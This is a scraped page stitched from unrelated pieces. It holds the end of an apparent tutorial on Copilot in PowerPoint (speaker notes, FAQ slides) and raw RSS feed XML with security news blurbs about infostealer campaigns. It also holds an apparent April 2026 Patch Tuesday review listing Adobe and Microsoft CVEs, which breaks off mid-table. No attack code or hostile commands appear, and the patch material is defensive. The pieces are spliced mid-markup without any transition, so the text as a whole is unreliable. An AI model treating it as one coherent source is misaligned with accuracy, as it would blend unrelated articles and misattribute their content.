<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
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<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive generated by infostealer malware that silently harvests browser-saved passwords, session cookies, cryptocurrency wallet data, […]</p>
<p>The post <a href="https://gbhackers.com/hackers-stealer-logs-launch-ransomware-attacks/">Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Phantom Stealer Campaign Uses JavaScript and PowerShell to Steal Browser Credentials]]></title>
<description><![CDATA[A sophisticated phishing campaign that disguises malware delivery inside routine business communications, ultimately deploying Phantom Stealer v3.5.0 to harvest browser credentials, cookies, payment data, and cryptocurrency wallet information from victims. Documented by Seqrite, the campaign uses...]]></description>
<link>https://tsecurity.de/de/3694479/it-security-nachrichten/phantom-stealer-campaign-uses-javascript-and-powershell-to-steal-browser-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694479/it-security-nachrichten/phantom-stealer-campaign-uses-javascript-and-powershell-to-steal-browser-credentials/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A sophisticated phishing campaign that disguises malware delivery inside routine business communications, ultimately deploying Phantom Stealer v3.5.0 to harvest browser credentials, cookies, payment data, and cryptocurrency wallet information from victims. Documented by Seqrite, the campaign uses two distinct phishing themes that both lead to the same infection chain. One email impersonates UPS Forwarding Hub, referencing fake […]</p>
<p>The post <a href="https://gbhackers.com/phantom-stealer-campaign-javascript-powershell/">Phantom Stealer Campaign Uses JavaScript and PowerShell to Steal Browser Credentials</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks]]></title>
<description><![CDATA[Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive g...]]></description>
<link>https://tsecurity.de/de/3694477/it-security-nachrichten/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694477/it-security-nachrichten/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive generated by infostealer malware that silently harvests browser-saved passwords, session cookies, cryptocurrency wallet data, […]</p>
<p>The post <a href="https://gbhackers.com/hackers-stealer-logs-launch-ransomware-attacks/">Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
